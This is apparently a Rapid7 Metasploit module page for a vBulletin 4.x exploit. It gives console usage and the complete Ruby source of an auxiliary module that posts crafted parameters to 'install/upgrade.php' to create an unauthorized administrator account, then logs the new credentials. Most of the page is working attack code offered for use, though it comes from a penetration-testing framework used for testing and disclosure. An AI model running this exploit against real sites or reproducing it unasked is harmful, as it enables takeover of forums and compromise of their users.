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This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This module has been tested successfully on vBulletin 4.1.5 and 4.1.0. Module Name auxiliary/admin/http/vbulletin_upgrade_admin Authors Unknown juan vazquez <juan.vazquez [at] metasploit.com> References URL: https://rstforums.com/forum/76476-dangerous-vbulletin-exploit-wild.rst URL: Dangerous vBulletin exploit in the wild URL: Potential vBulletin Exploit (vBulletin 4.1+, vBulletin 5+) - vBulletin Community Forum Module Options To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': msf > use auxiliary/admin/http/vbulletin_upgrade_admin msf auxiliary(vbulletin_upgrade_admin) > show actions ...actions... msf auxiliary(vbulletin_upgrade_admin) > set ACTION <action-name> msf auxiliary(vbulletin_upgrade_admin) > show options ...show and set options... msf auxiliary(vbulletin_upgrade_admin) > run Development Source Code ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin Administrator Account Creation', 'Description' => %q{ This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This module has been tested successfully on vBulletin 4.1.5 and 4.1.0. }, 'Author' => [ 'Unknown', # Vulnerability discoverer? found in the wild 'juan vazquez' #metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) register_options( [ OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) ], self.class) end def user datastore["USERNAME"] end def pass datastore["PASSWORD"] end def run if user == pass print_error("#{peer} - Please select a password different than the username") return end print_status("#{peer} - Trying a new admin vBulletin account...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"), 'method' =>'POST', 'vars_post' => { "version" => "install", "response" => "true", "checktable" => "false", "firstrun" => "false", "step" => "7", "startat" => "0", "only" => "false", "options[skiptemplatemerge]" => "0", "reponse" => "yes", "htmlsubmit" => "1", "htmldata[username]" => user, "htmldata[password]" => pass, "htmldata[confirmpassword]" => pass, "htmldata[email]" => datastore["EMAIL"] }, 'headers' => { "X-Requested-With" => "XMLHttpRequest" } }) if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") report_auth_info( :host => rhost, :port => rport, :sname => 'http', :user => user, :pass => pass, :active => true, :proof => res.body ) else print_error("#{peer} - Admin account creation failed") end end end History vBulletin Administrator Account Creation | Rapid7